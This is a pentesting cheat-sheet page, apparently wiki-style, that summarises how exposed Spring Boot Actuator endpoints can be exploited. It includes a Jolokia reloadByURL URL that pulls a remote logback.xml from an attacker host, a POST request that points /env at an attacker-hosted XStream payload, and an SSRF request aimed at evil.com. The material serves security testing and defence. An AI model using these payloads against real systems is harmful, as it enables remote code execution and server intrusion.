Spring Actuators

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Exploiting Spring Boot Actuators

Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Key Points:

• Spring Boot Actuators register endpoints such as /health, /trace, /beans, /env, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only /health and /info are non-sensitive by default, but developers often disable this security.
• Certain Actuator endpoints can expose sensitive data or allow harmful actions:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.
• In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the /actuator/ base path.

Exploitation Techniques:

1. Remote Code Execution via '/jolokia':

   • The /jolokia actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
   • The reloadByURL action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
   • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.

2. Config Modification via '/env':

   • If Spring Cloud Libraries are present, the /env endpoint allows modification of environmental properties.

   • Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.

   • Example exploit POST request:

     POST /env HTTP/1.1
     Host: 127.0.0.1:8090
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 65
     
     eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
     

3. Other Useful Settings:

   • Properties like spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, and spring.datasource.tomcat.max-active can be manipulated for various exploits, such as SQL injection or altering database connection strings.

Additional Information:

• A comprehensive list of default actuators can be found here.
• The /env endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.

Related Topics:

1. Env + H2 RCE:

   • Details on exploiting the combination of /env endpoint and H2 database can be found here.

2. SSRF on Spring Boot Through Incorrect Pathname Interpretation:

• The Spring framework's handling of matrix parameters (;) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
• Example exploit request:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

> [!TIP]

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